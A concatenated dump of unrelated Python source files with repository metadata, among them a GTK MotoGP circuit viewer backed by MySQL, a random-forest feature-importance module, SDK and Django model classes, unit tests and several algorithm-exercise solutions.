self.builder.get_object("label_%s_%s" %(i,5)) label.set_label(record['velocidad']) i+=1 grid.show_all() #Devuelve una tupla con la imagen del circuito y de la bandera correspondiente def cargar_imagenes(self,circuito): imagenes= { 'Qatar' : 'resources/circuitos/qatar', 'España' : 'resources/circuitos/espana', 'Portugal' : 'resources/circuitos/portugal', 'Francia' : 'resources/circuitos/francia', 'Cataluña' : 'resources/circuitos/catalunya', 'Gran Bretaña' : 'resources/circuitos/gran_bretanya', 'Holanda' : 'resources/circuitos/holanda', 'Alemania' : 'resources/circuitos/alemania', 'Italia' : 'resources/circuitos/italia', 'Estados Unidos' : 'resources/circuitos/estados_unidos', 'Indianapolis' : 'resources/circuitos/indianapolis', 'Republica Checa' : 'resources/circuitos/republica_checa', 'San Marino' : 'resources/circuitos/san_marino', 'Aragon' : 'resources/circuitos/aragon', 'Japon' : 'resources/circuitos/japon', 'Malasia' : 'resources/circuitos/malasia', 'Australia' : 'resources/circuitos/australia', 'Valencia' : 'resources/circuitos/valencia', } return imagenes[circuito]+'-cir.jpg',imagenes[circuito]+'-band.png' #Lanza desde el sistema operativo el scrapper para obtener la informacion desde www.motogp.com/es def ejecutar_scrapper(self): Conexion = MySQLdb.connect(host='localhost', user='admin',passwd='motogpadmin', db='MotogpDB') micursor = Conexion.cursor(MySQLdb.cursors.DictCursor) #Para evitar la acumulación innecesaria de datos eliminamos primero las tablas #Solo necesitamos eliminar la tabla circuitos ya que por cascada #se vacia automaticamente la de records query = "DELETE FROM circuitos WHERE 1" micursor.execute(query) Conexion.commit() micursor.close() Conexion.close() #se lanza el scrapper sin log para no mostrar nada por el terminal subproceso = subprocess.Popen(['scrapy','crawl', 'circuitos','--nolog']) subprocess.Popen.wait(subproceso) #Comprueba que las tablas existan y si no es asi,las crea #De existir las tabas se comprueba que haya exactamente 18 circuitos def comprobar_tablas(self): Conexion = MySQLdb.connect(host='localhost', user='admin',passwd='motogpadmin', db='MotogpDB') micursor = Conexion.cursor(MySQLdb.cursors.DictCursor) query = "show tables" micursor.execute(query) tablas = micursor.fetchall() tabla_circuitos = False tabla_records = False tabla_correcta = True if tablas: for tabla in tablas: if 'circuitos' == tabla['Tables_in_MotogpDB']: tabla_circuitos = True if 'records_circuitos' == tabla['Tables_in_MotogpDB']: tabla_records = True if not tabla_circuitos: query =" CREATE TABLE circuitos (id int(10) auto_increment primary key,gran_premio varchar(100) not null,nombre varchar(100) not null,longitud varchar(100),anchura varchar(100),curvas_der int(2),curvas_izq int(2),recta_larga varchar(100),fecha_construccion varchar(100),fecha_modificacion varchar(100))ENGINE=INNODB" micursor.execute(query) Conexion.commit() else: query = " Select id from circuitos " num = micursor.execute(query) if num != 18 : tabla_correcta=False if not tabla_records: query =" CREATE TABLE records_circuitos (id int(10) auto_increment primary key,id_circuito int(10) not null,categoria varchar(100) not null,record varchar(100) not null,temporada int(4) not null,piloto varchar(100) not null,motocicleta varchar(100),tiempo varchar(100),velocidad varchar(100),foreign key (id_circuito) references circuitos(id) on delete cascade)ENGINE=INNODB;" micursor.execute(query) Conexion.commit() if not tabla_circuitos or not tabla_records or not tabla_correcta: return False else: return True def onInitialCircuit(self,boton): self.onVerCircuito(boton) self.window_inicial.hide() self.window.show_all() def onVerCircuito(self,menuitem): #cargamos las imagenes del circuito y la bandera del pais imagen = self.builder.get_object('imagen_circuito') circuito = menuitem.get_label() imagenes = self.cargar_imagenes(circuito) imagen.set_from_file(imagenes[0]) #cargamos la informacion y los records self.cargar_informacion_circuito(circuito) self.cargar_records_circuito(circuito) #ponemos como icono de la ventana la bandera del pais self.window.set_icon_from_file(imagenes[1]) bandera = self.builder.get_object('imagen_bandera') bandera.set_from_file(imagenes[1]) self.window.set_title("Circuito de %s" % circuito) def onShowAbout(self,menuitem): about = self.builder.get_object("about_dialog") about.run() about.destroy() def onActualizarCircuitos(self,item): #si el label del item es Aceptar significa que viene # del dialogo de error de comprobacion de tablas #por lo que no mostramos el dialogo para actualizacion if(item.get_label() != "Aceptar"): dialogo = self.builder.get_object("dialogo_actualizar") respuesta = dialogo.run() else: respuesta = 1 self.cargar_circuitos_iniciales() self.window_inicial.show_all() self.dialogo.hide() if respuesta == 1 : self.ejecutar_scrapper() #Una vez actualizados los datos se lo indicamos al usuario #suprimimos los botones para obligar a cerrar la ventana #y evitar que manipule la ventana principal texto = self.builder.get_object("label_actualizando") texto.set_label("Informacion de los circuitos Actualizada") boton = self.builder.get_object("button_aceptar") boton.hide() boton = self.builder.get_object("button_cancelar") boton.hide() else: dialogo.destroy() def __init__(self): self.builder = Gtk.Builder() self.builder.add_from_file("interfaz.glade") self.handlers = { "onDeleteWindow": Gtk.main_quit, "onVerCircuito": self.onVerCircuito, "onActualizarCircuitos":self.onActualizarCircuitos, "onInitialCircuit":self.onInitialCircuit, "onShowAbout":self.onShowAbout } self.builder.connect_signals(self.handlers) self.window = self.builder.get_object("window1") self.window_inicial = self.builder.get_object("window2") self.grandes_premios = { 'Qatar':'QAT' , 'España':'SPA', 'Portugal':'POR', 'Francia':'FRA', 'Cataluña':'CAT', 'Gran Bretaña':'GBR', 'Holanda':'NED', 'Alemania':'GER', 'Italia':'ITA', 'Estados Unidos':'USA' , 'Indianapolis':'INP', 'Republica Checa':'CZE', 'San Marino':'RSM' , 'Aragon':'ARA', 'Japon':'JPN' , 'Malasia':'MAL', 'Australia':'AUS', 'Valencia':'VAL'} #Antes de mostrar ninguna ventana se comprueba la base de datos if (self.comprobar_tablas()): self.cargar_circuitos_iniciales() self.window_inicial.show_all() else: self.dialogo = self.builder.get_object('dialogo_error_tablas') self.dialogo.show_all() def main(): window = Moto_GP() Gtk.main() return 0 if __name__ == '__main__': main()

[ "josevalenzuelaperez@gmail.com" ]

josevalenzuelaperez@gmail.com

29d967e22202502a0489bcd8d31f34e6cac31bb2

5be9fc95e24d4ee571f0edc4039caf7465563c06

/Problems/The army of units/main.py

4e708eb8148ea805daaa5c7bcaecb6adabfd7925

[]

no_license

helenlavr/Coffee-Machine

8a7e4ad83e36925d991346c8e87b6ccdb9c59681

938cfec67390185b929ccfca0d00dbdbb4ba489f

refs/heads/master

2023-01-01T21:27:22.449491

2020-10-15T10:40:41

304,292,890

0

null

UTF-8

Python

false

232

py

units = int(input()) if units >= 1000: print('legion') elif units >= 500: print('swarm') elif units >= 50: print('horde') elif units >= 10: print('pack') elif units >= 1: print('few') else: print('no army')

[ "helenlav@stud.ntnu.no" ]

helenlav@stud.ntnu.no

9afe8e0f69ee47f22bd74b8e222360bc796ad45f

308dbc263ab71b1f424d9130e11e9d7d65de7945

/model/Armadura.py

b0bfbfb7f8a310b5b26c4f0a22391d0d5c685a2e

[]

no_license

rfgonzalez13/MHRiseApp

37cdb415568a6fc302899ea17da3746858809ae9

5166ef4c2027bfc6e7e9510eb1cfbbc50562e5a0

refs/heads/master

2023-07-25T08:49:31.516496

2021-09-09T15:40:26

373,656,668

0

null

UTF-8

Python

false

440

py

# coding = utf-8 from google.appengine.ext import ndb class Armadura(ndb.Model): nombre = ndb.StringProperty(required=True, indexed=True) pk_nombre = ndb.StringProperty(required=True, indexed=True) casco = ndb.IntegerProperty(indexed=True) cota = ndb.IntegerProperty(indexed=True) brazales = ndb.IntegerProperty(indexed=True) faja = ndb.IntegerProperty(indexed=True) grebas = ndb.IntegerProperty(indexed=True)

[ "rfgonzalez@esei.uvigo.es" ]

rfgonzalez@esei.uvigo.es

49abdf437aff0bb64af3510ebc54df23c69483f5

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/scripts/helper/get_brightness.py

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[]

no_license

dot361/Weak-radio-signal-data-processing

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import urllib from datetime import datetime,timedelta import sys import numpy as numpy def get_ra_dec(start_time, stop_time, obj): lat = 21.847222; lon = 57.5593055; alt = 10; step_size = '1 h' if(obj == "panstarrs"): obj_name = 'C/2017 T2' if(obj == "atlas"): #obj_name = 'C/2019 Y4' obj_name = '90004451' if(obj == "swan"): #obj_name = 'C/2019 Y4' obj_name = 'C/2020 F8' coord_str = str(lat)+','+str(lon)+','+str(alt) url = "https://ssd.jpl.nasa.gov/horizons_batch.cgi?batch=1&COMMAND='"+ obj_name +"'&CENTER='coord'&SITE_COORD='"+ coord_str +"'&MAKE_EPHEM='YES'&TABLE_TYPE='OBSERVER'&START_TIME='"+ start_time +"'&STOP_TIME='" + stop_time+ "'&STEP_SIZE='"+ step_size +"'&QUANTITIES='1,9'&CSV_FORMAT='YES'" print(url) s = urllib.urlopen(url).read() result = ((s.split("$$SOE"))[1].split("$$EOE")[0]).split('\n') #print("result", len(result)) #print("result", result[2]) date = list() mag = list() for i in result: if(len(i) != 0): #print(i) data = i.replace(" ", "") #print("data", data) split_rez = data.split(',') split_rez[4] = split_rez[4].replace("+","") date.append(split_rez[0]) mag.append(split_rez[5]) #print(date) print(mag) print(len(mag), len(date)) index_min = min(range(len(mag)), key=mag.__getitem__) print(index_min) maxBrightness = mag[index_min] dateIndex = date[index_min] print(maxBrightness, dateIndex) #print(split_rez[0], split_rez[5], split_rez[4], split_rez[6]) return date, mag get_ra_dec(sys.argv[1], sys.argv[2], sys.argv[3])

[ "s7_jasmon_g@venta.lv" ]

s7_jasmon_g@venta.lv

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/huaweicloud-sdk-lts/huaweicloudsdklts/v2/model/delete_log_stream_request.py

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jaminGH/huaweicloud-sdk-python-v3

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refs/heads/master

2023-06-18T11:49:13.958677

2021-07-16T07:57:47

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# coding: utf-8 import re import six class DeleteLogStreamRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'log_group_id': 'str', 'log_stream_id': 'str' } attribute_map = { 'log_group_id': 'log_group_id', 'log_stream_id': 'log_stream_id' } def __init__(self, log_group_id=None, log_stream_id=None): """DeleteLogStreamRequest - a model defined in huaweicloud sdk""" self._log_group_id = None self._log_stream_id = None self.discriminator = None self.log_group_id = log_group_id self.log_stream_id = log_stream_id @property def log_group_id(self): """Gets the log_group_id of this DeleteLogStreamRequest. 租户想删除的日志流所在的日志组的groupid，一般为36位字符串。 :return: The log_group_id of this DeleteLogStreamRequest. :rtype: str """ return self._log_group_id @log_group_id.setter def log_group_id(self, log_group_id): """Sets the log_group_id of this DeleteLogStreamRequest. 租户想删除的日志流所在的日志组的groupid，一般为36位字符串。 :param log_group_id: The log_group_id of this DeleteLogStreamRequest. :type: str """ self._log_group_id = log_group_id @property def log_stream_id(self): """Gets the log_stream_id of this DeleteLogStreamRequest. 需要删除的日志流ID，获取方式请参见：获取账号ID、项目ID、日志组ID、日志流ID（https://support.huaweicloud.com/api-lts/lts_api_0006.html）。 :return: The log_stream_id of this DeleteLogStreamRequest. :rtype: str """ return self._log_stream_id @log_stream_id.setter def log_stream_id(self, log_stream_id): """Sets the log_stream_id of this DeleteLogStreamRequest. 需要删除的日志流ID，获取方式请参见：获取账号ID、项目ID、日志组ID、日志流ID（https://support.huaweicloud.com/api-lts/lts_api_0006.html）。 :param log_stream_id: The log_stream_id of this DeleteLogStreamRequest. :type: str """ self._log_stream_id = log_stream_id def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): import simplejson as json return json.dumps(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, DeleteLogStreamRequest): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

[ "hwcloudsdk@huawei.com" ]

hwcloudsdk@huawei.com

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/xlsxwriter/test/comparison/test_chart_font04.py

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[ "BSD-2-Clause-Views" ]

permissive

elessarelfstone/XlsxWriter

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refs/heads/master

2020-09-24T06:17:20.840848

2019-11-24T23:43:01

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NOASSERTION

2019-12-03T18:09:06

2019-12-03T18:09:05

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############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2019, John McNamara, jmcnamara@cpan.org # from ..excel_comparsion_test import ExcelComparisonTest from ...workbook import Workbook class TestCompareXLSXFiles(ExcelComparisonTest): """ Test file created by XlsxWriter against a file created by Excel. """ def setUp(self): self.set_filename('chart_font04.xlsx') def test_create_file(self): """Test the creation of a simple XlsxWriter file.""" workbook = Workbook(self.got_filename) worksheet = workbook.add_worksheet() chart = workbook.add_chart({'type': 'bar'}) chart.axis_ids = [43944960, 45705472] data = [ [1, 2, 3, 4, 5], [2, 4, 6, 8, 10], [3, 6, 9, 12, 15], ] worksheet.write_column('A1', data[0]) worksheet.write_column('B1', data[1]) worksheet.write_column('C1', data[2]) chart.add_series({'values': '=Sheet1!$A$1:$A$5'}) chart.add_series({'values': '=Sheet1!$B$1:$B$5'}) chart.add_series({'values': '=Sheet1!$C$1:$C$5'}) chart.set_title({ 'name': '=Sheet1!$A$1', 'name_font': {'bold': 0, 'italic': 1}, }) chart.set_x_axis({ 'name': 'Sheet1!$A$2', 'name_font': {'bold': 0, 'italic': 1}, }) chart.set_y_axis({ 'name': '=Sheet1!$A$3', 'name_font': {'bold': 1, 'italic': 1}, }) worksheet.insert_chart('E9', chart) workbook.close() self.assertExcelEqual()

[ "jmcnamara@cpan.org" ]

jmcnamara@cpan.org

4a11b48179794959d216c089d888dbd02e6e7ace

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/blog/migrations/0030_postlike.py

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[]

no_license

sopilnyak/technotrack-web1-spring-2017

f27abb15f2f563b44a544c430e743d961a0d11a9

5f4573b417d71347f746660754faae3166be854f

refs/heads/master

2021-01-21T08:15:21.078499

2017-04-17T17:02:55

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2017-02-27T17:59:56

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py

# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-04-17 01:24 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('blog', '0029_auto_20170417_0124'), ] operations = [ migrations.CreateModel( name='PostLike', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ('post', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='blog.Post')), ], ), ]

[ "o.sopilniak@gmail.com" ]

o.sopilniak@gmail.com

f08c3e33a0eea3128e92594b3a26b4ec9ff3d9d2

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/test_lcm_simulation.py

10209a6f4a6c74d14d0e09d6505c0a0b0009f4bb

[]

no_license

SEMCOG/semcog_urbansim

9ebb5ea8fa195570ff659d8dc40b3c8e86d23a89

07809c2f03ea43a43c8d801b08d500f2aaf139f3

refs/heads/forecast_2050

2023-08-17T23:31:31.845339

2023-08-17T20:52:22

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7

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null

2023-09-07T15:54:18

2015-06-10T12:29:19

Jupyter Notebook

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py

import orca import os import yaml from urbansim_templates.models import LargeMultinomialLogitStep from urbansim_templates import modelmanager as mm mm.initialize('configs/elcm_2050') def generate_yaml_configs(): hlcm_yaml = os.listdir('configs/hlcm_2050') hlcm_yaml = ["hlcm_2050/"+path for path in hlcm_yaml if '.yaml' in path] elcm_yaml = os.listdir('configs/elcm_2050') elcm_yaml = ["elcm_2050/"+path for path in elcm_yaml if '.yaml' in path] obj = { 'hlcm': hlcm_yaml, 'elcm': elcm_yaml } with open("./configs/yaml_configs_2050.yaml", 'w') as f: yaml.dump(obj, f, default_flow_style=False) if __name__ == "__main__": generate_yaml_configs() import models orca.add_injectable('year', 2020) orca.run(["build_networks_2050"]) orca.run(["neighborhood_vars"]) # set year to 2050 orca.add_injectable('year', 2030) orca.run(["mcd_hu_sampling"]) # orca.run(['elcm_800003']) orca.run(['hlcm_125']) orca.run(['nonres_repm11']) print('done')

[ "xie@semcog.org" ]

xie@semcog.org

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/Codes/tmp.py

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[]

no_license

Pierre-FrancoisW/Master-Thesis

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refs/heads/main

2023-07-13T21:58:24.058295

2021-08-25T09:58:08

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UTF-8

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import numpy as np # # Official Code for Classification_local_mda # counter = 0 counter1 = 0 counter2 = 0 def prob_node_left(tree, node, uniform): # [tree.children_left[node]] = node + 1 as long as node is not a leaf if uniform: return 0.50 else: return tree.n_node_samples[tree.children_left[node]] / tree.n_node_samples[node] def exploreC(tree, node, children_right_view, sample, feature_view, x, uniform): global counter, counter1, counter2 # Stop exploration as we meet a leaf if tree.feature[node] == -2: value = tree.value[node].ravel() / tree.value[node].max() return value # else check current split and define next direction # Propagate the sample in both directions if the feature of interest is tested at #node = 'node' elif feature_view[node] == x: counter += 1 l_prob = prob_node_left(tree, node, uniform) r_prob = 1 - l_prob value1 = exploreC(tree, node + 1, children_right_view, sample, feature_view, x, uniform) value2 = exploreC(tree, children_right_view[node], children_right_view, sample, feature_view, x, uniform) return l_prob * value1 + r_prob * value2 else: if sample[tree.feature[node]] <= tree.threshold[node]: counter1 += 1 # left child is next node return exploreC(tree, node+1, children_right_view, sample, feature_view, x, uniform) else: counter2 += 1 return exploreC(tree, children_right_view[node], children_right_view, sample, feature_view, x, uniform) def weighted_prediction_C(tree, prediction, nodes_id, leaf, children_right_view, sample, feature_view, x, uniform): dir = 'left' node = nodes_id[0] # direction of sample at split if leaf >= children_right_view[node]: dir = 'right' l_prob = prob_node_left(tree, nodes_id[0], uniform) r_prob = 1 - l_prob if l_prob > 1: print("Error lprob") if r_prob > 1: print("Error rightprob") # print(l_prob, " ", r_prob) # print(dir) if nodes_id.size == 1: if dir == 'left': # propagate the sample to the right as the decision path goes left at #node = 'node' value = (prediction * l_prob) + (r_prob * exploreC(tree, children_right_view[node], children_right_view, sample, feature_view, x, uniform)) return (prediction * l_prob) + (r_prob * exploreC(tree, children_right_view[node], children_right_view, sample, feature_view, x, uniform)) else: # propagate the sample to the left as the decision path goes right value = (prediction * r_prob) + (l_prob * exploreC(tree, node + 1, children_right_view, sample, feature_view, x, uniform)) return (prediction * r_prob) + (l_prob * exploreC(tree, node + 1, children_right_view, sample, feature_view, x, uniform)) nodes_id = nodes_id[1:] if dir == 'left': value1 = r_prob * exploreC(tree, children_right_view[node], children_right_view, sample, feature_view, x, uniform) value2 = l_prob * weighted_prediction_C(tree, prediction, nodes_id, leaf, children_right_view, sample, feature_view, x, uniform) return (r_prob * exploreC(tree, children_right_view[node], children_right_view, sample, feature_view, x, uniform)) + (l_prob * weighted_prediction_C(tree, prediction, nodes_id, leaf, children_right_view, sample, feature_view, x, uniform)) else: value = (l_prob * exploreC(tree, node + 1, children_right_view, sample, feature_view, x, uniform)) + (r_prob * weighted_prediction_C(tree, prediction, nodes_id, leaf, children_right_view, sample, feature_view, x, uniform)) return (l_prob * exploreC(tree, node + 1, children_right_view, sample, feature_view, x, uniform)) + (r_prob * weighted_prediction_C(tree, prediction, nodes_id, leaf, children_right_view, sample, feature_view, x, uniform)) def compute_mda_local_treeC(Ctree, X, nsamples, nfeatures,nclass, vimp, uniform): # use Ctree.value[node] children_left_view = Ctree.children_left children_right_view = Ctree.children_right feature_view = Ctree.feature feature_range = list(range(nfeatures)) node_indicator = Ctree.decision_path(X) node = 0 ifeat = 0 for i in range(nsamples): # features of decision path (from 0 to n_features-1) # Discard leaf from node path features = feature_view[node_indicator[i, :].indices][:-1] unique_f = np.unique(features) # node id of decision path nodes = node_indicator[i, :].indices[:-1] prediction = Ctree.predict(X)[i].ravel() prediction = prediction/ np.max(prediction) leaf = node_indicator[i, :].indices[-1] for x in unique_f: # nodes id of the decision path of sample i that test feature 'x' nodes_id = nodes[features == x] val = weighted_prediction_C(Ctree, prediction, nodes_id, leaf, children_right_view, X[i], feature_view, x, uniform) vimp[i, x, :] = vimp[i, x, :] + val return vimp def compute_mda_local_ens_C(ens, X, uniform): nsamples = X.shape[0] nfeatures = X.shape[1] nclass = ens.classes_.size vimp = [[[0.0 for x in range(nclass)] for y in range(nfeatures)] for x in range(nsamples)] vimp = np.array(vimp) # Dim1 : samples, Dim2: feature, Dim3: class nestimators = ens.n_estimators for i in range(nestimators): # print("o", end='', flush=True) vimp = compute_mda_local_treeC(ens.estimators_[i].tree_, X, nsamples, nfeatures,nclass, vimp, uniform) print("") vimp /= (ens.n_estimators) for i in range(0,nsamples): for j in range(0,nfeatures): vimp[i, j, :] = vimp[i, j, :] * (1/sum(vimp[i, j, :])) print("counter equals {}".format(counter)) print("counter 1 equals {}".format(counter1)) print("counter 2 equals {}".format(counter2)) return vimp def Classification_vimp(vimp, predictions, y,): nsamples, nfeatures, c = vimp.shape vimp2 = np.zeros((nsamples, nfeatures)) for i in range(0,nsamples): for j in range(0,nfeatures): #vimp2[i,j] = sum(vimp[i,j,:]) - vimp[i,j,y[i]] vimp2[i, j] = (1 - predictions[i][y[i]]) - (1 - vimp[i, j, y[i]]) return vimp2

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Pierre-FrancoisW.noreply@github.com

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/rest-service/manager_rest/test/endpoints/test_depup_utils.py

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TS-at-WS/cloudify-manager

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refs/heads/master

2021-03-04T22:18:25.591541

2020-03-02T16:03:41

2020-03-09T09:19:26

246,069,993

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Apache-2.0

2020-07-29T16:35:22

2020-03-09T15:18:04

null

UTF-8

Python

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py

import unittest from manager_rest.deployment_update import utils class DeploymentUpdateTestCase(unittest.TestCase): def test_traverse_object(self): object_to_traverse = { 'nodes': { 'n1': 1, 'n2': ['l2', {'inner': [3]}] } } # assert the value returned from a dictionary traverse self.assertEqual( utils.traverse_object(object_to_traverse, ['nodes', 'n1']), 1) # assert access to inner list self.assertEqual(utils.traverse_object(object_to_traverse, ['nodes', 'n2', '[0]']), 'l2') # assert access to a dict within a list within a dict self.assertEqual(utils.traverse_object(object_to_traverse, ['nodes', 'n2', '[1]', 'inner', '[0]']), 3) self.assertDictEqual(object_to_traverse, utils.traverse_object(object_to_traverse, [])) def test_create_dict_with_value(self): dict_breadcrumb = ['super_level', 'mid_level', 'sub_level'] self.assertDictEqual({'super_level': { 'mid_level': { 'sub_level': 'value' } }}, utils.create_dict(dict_breadcrumb, 'value')) def test_create_dict_with_no_value(self): dict_breadcrumb = ['super_level', 'mid_level', 'sub_level', 'value'] self.assertDictEqual({'super_level': { 'mid_level': { 'sub_level': 'value' } }}, utils.create_dict(dict_breadcrumb)) def test_get_raw_node(self): blueprint_to_test = { 'nodes': [{'id': 1, 'name': 'n1'}, {'id': 2, 'name': 'n2'}] } # assert the right id is returned on existing node self.assertDictEqual(utils.get_raw_node(blueprint_to_test, 1), {'id': 1, 'name': 'n1'}) # assert no value is returned on non existing id self.assertEqual(len(utils.get_raw_node(blueprint_to_test, 3)), 0) # assert nothing is return on invalid blueprint self.assertEqual(len(utils.get_raw_node({'no_nodes': 1}, 1)), 0) def test_parse_index(self): self.assertEqual(utils.parse_index('[15]'), 15) self.assertFalse(utils.parse_index('[abc]')) self.assertFalse(utils.parse_index('[1a]')) self.assertFalse(utils.parse_index('~~[]')) def test_check_is_int(self): self.assertTrue(utils.check_is_int('123')) self.assertFalse(utils.check_is_int('abc')) self.assertFalse(utils.check_is_int('ab12'))

[ "mxmrlv@gmail.com" ]

mxmrlv@gmail.com

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aa0ff41682eb3b66d3577eb806821126a2d3ace2

/18. 四数之和/four_sum.py

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[]

no_license

qybing/LeetCode

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bafa85fde597a17b6dee8cfdd0153a7176ff8fcf

refs/heads/master

2023-02-06T09:14:29.516336

2020-12-30T07:33:37

103,499,568

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py

#! python3 # _*_ coding: utf-8 _*_ # @Time : 2020/5/19 9:58 # @Author : Jovan # @File : four_sum.py # @desc : def fourSum(nums, target): nums.sort() length = len(nums) result = [] for i in range(length): if i >= 1 and nums[i] == nums[i - 1]: continue for j in range(i + 1, length): if j > i+1 and nums[j] == nums[j-1]: continue start = j + 1 end = length - 1 while start < end: sum_ = nums[i] + nums[j] + nums[start] + nums[end] if sum_ < target: start += 1 elif sum_ > target: end -= 1 else: result.append([nums[i], nums[j], nums[start], nums[end]]) while start < end and nums[start+1] == nums[start]: start += 1 while start < end and nums[end-1] == nums[end]: end -= 1 end -= 1 start += 1 return result nums = [1, 0, -1, 0, -2, 2] target = 0 print(fourSum(nums, target))

[ "qiaoyanbing1@163.com" ]

qiaoyanbing1@163.com

bf806c4adf32732ebf9c1fe7bd0d8226e8786132

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/projectName/subpackage_1/__init__.py

a39f8fe5b38d180873bc20e04f625c8771462801

[]

no_license

mitchell-dawson/untitledProject

e773802e007c1c1759985f68cfd665e080f2b763

f54687d45c2ce787394d7f34244926c9993638ac

refs/heads/main

2023-01-23T22:34:00.442837

2020-11-27T16:40:51

316,551,487

0

null

UTF-8

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false

134

py

# General store format (access everything, no order) from .moduleA import * # online store format # import .moduleB # import .moduleB

[ "mitchell.dawson7@hotmail.com" ]

mitchell.dawson7@hotmail.com

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/src/main/com/dong/database/demo/mysql/create_database.py

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[]

no_license

weidongcao/finance_spider

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""" 通过Python，连接Mysql并创建数据库配置实例 """ import pymysql db = pymysql.connect(host='cm02.spark.com', user='root', password='123123', port=3306) cursor = db.cursor() cursor.execute('select version()') data = cursor.fetchone() print('Database version: ', data) cursor.execute('create database spiders default character set utf8 collate utf8_general_ci') db.close()

[ "1774104802@qq.com" ]

1774104802@qq.com

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/WebMirror/management/rss_parser_funcs/feed_parse_extractLuxiufer.py

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fake-name/ReadableWebProxy

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def extractLuxiufer(item): """ Parser for 'Luxiufer' """ vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if not (chp or vol) or 'preview' in item['title'].lower(): return None if 'WATTT' in item['tags']: return buildReleaseMessageWithType(item, 'WATTT', vol, chp, frag=frag, postfix=postfix) return False

[ "something@fake-url.com" ]

something@fake-url.com

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/likeapp/models.py

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sungwoni/cyber_public_sphere

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from django.contrib.auth.models import User from django.db import models # Create your models here. from articleapp.models import Article class LikeRecord(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='like_record') article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name='like_record') class Meta: unique_together = ('user', 'article')

[ "tjddnjs2013@gmail.com" ]

tjddnjs2013@gmail.com

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/greedy/DNA(1969).py

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[]

no_license

pjok1122/baekjoon-online-judge-practice

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refs/heads/master

2020-07-07T23:01:09.736034

2020-05-11T11:08:46

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''' 주어진 DNA 문자열에서 Hamming Distance의 합이 최소가 되도록 하는 문제. 1. 가장 많이 등장하는 뉴클레오티드('문자')를 세고 그 값을 Max로 설정. 가장 많이 등장하는 문자가 H.D가 최소가 되도록 하므로 DNA 결과(result)에 포함시킨다. 2. 하나의 뉴클레오티드가 결정될 때마다 H.D의 값은 N - Max 만큼 증가한다. 3. 시간복잡도 : O(N*M) ~ O(N) ''' N,M = map(int,input().split()) dna = [] result ='' hd = 0 for i in range(N): dna.append(input()) for i in range(M): cnt = [0,0,0,0] for j in range(N): if dna[j][i] == 'A': cnt[0] +=1 elif dna[j][i] =='C': cnt[1] +=1 elif dna[j][i] == 'G': cnt[2] +=1 elif dna[j][i] == 'T': cnt[3] +=1 Max = max(cnt) idx = cnt.index(Max) if idx ==0: result+='A' elif idx==1: result+='C' elif idx==2: result+='G' elif idx==3: result+='T' hd += N - Max print(result) print(hd)

[ "pjok1122@naver.com" ]

pjok1122@naver.com

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/utilities/ClientOperation.py

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no_license

CreativeeBlackWolf/chat

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refs/heads/main

2023-02-27T11:23:51.327445

2021-02-01T18:18:23

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import json class ClientOperation: def __init__(self, type, **kwargs): self.type = type if self.type == "messageArrived": # both str instances, content and author of the message self.content = kwargs["messageContent"] self.author = kwargs["messageAuthor"] elif self.type == "channelLeave": pass elif self.type == "requireUsername": pass elif self.type == "usersList": self.users = kwargs["users"] elif self.type == "channelCreateInfo": # str instance, answer of the server (can be anything) self.answer = kwargs["answer"] elif self.type == "channelJoinInfo": # str instance, channel port, can be 404 (not found) or 500 (server error) self.port = kwargs["port"] # str instance, channel name, can be None self.channelName = None if self.port in ["404", "500"] else kwargs["channelName"] elif self.type == "channelInfo": # str instance, but can be None self.port = kwargs["port"] elif self.type == "channelList": # dict instance (str actually, but dumped from dict) # {"channelName": "port"} self.channels = json.loads(kwargs["channels"])

[ "creativeeblackwolf@gmail.com" ]

creativeeblackwolf@gmail.com

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/Data Set/bug-fixing-5/73faa376ad87004014356477048e7298d06de792-<remove_custom_def>-fix.py

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[]

no_license

wsgan001/PyFPattern

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refs/heads/main

2023-08-25T23:48:26.112133

2021-10-23T14:11:22

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def remove_custom_def(self, field): changed = False f = dict() for x in self.custom_field_mgr: if ((x.name == field) and (x.managedObjectType == vim.VirtualMachine)): changed = True if (not self.module.check_mode): self.content.customFieldsManager.RemoveCustomFieldDef(key=x.key) break f[x.name] = (x.key, x.managedObjectType) return { 'changed': changed, 'failed': False, 'custom_attribute_defs': list(f.keys()), }

[ "dg1732004@smail.nju.edu.cn" ]

dg1732004@smail.nju.edu.cn

25c2d35b1ad3349af246ac423d420173e50b00d2

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/Chapter8-Practice/test_8.4.1.py

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[]

no_license

Beautyi/PythonPractice

375767583870d894801013b775c493bbd3c36ebc

9104006998a109dcab0848d5540fb963b20f5b02

refs/heads/master

2020-04-23T09:58:50.065403

2019-04-08T02:55:52

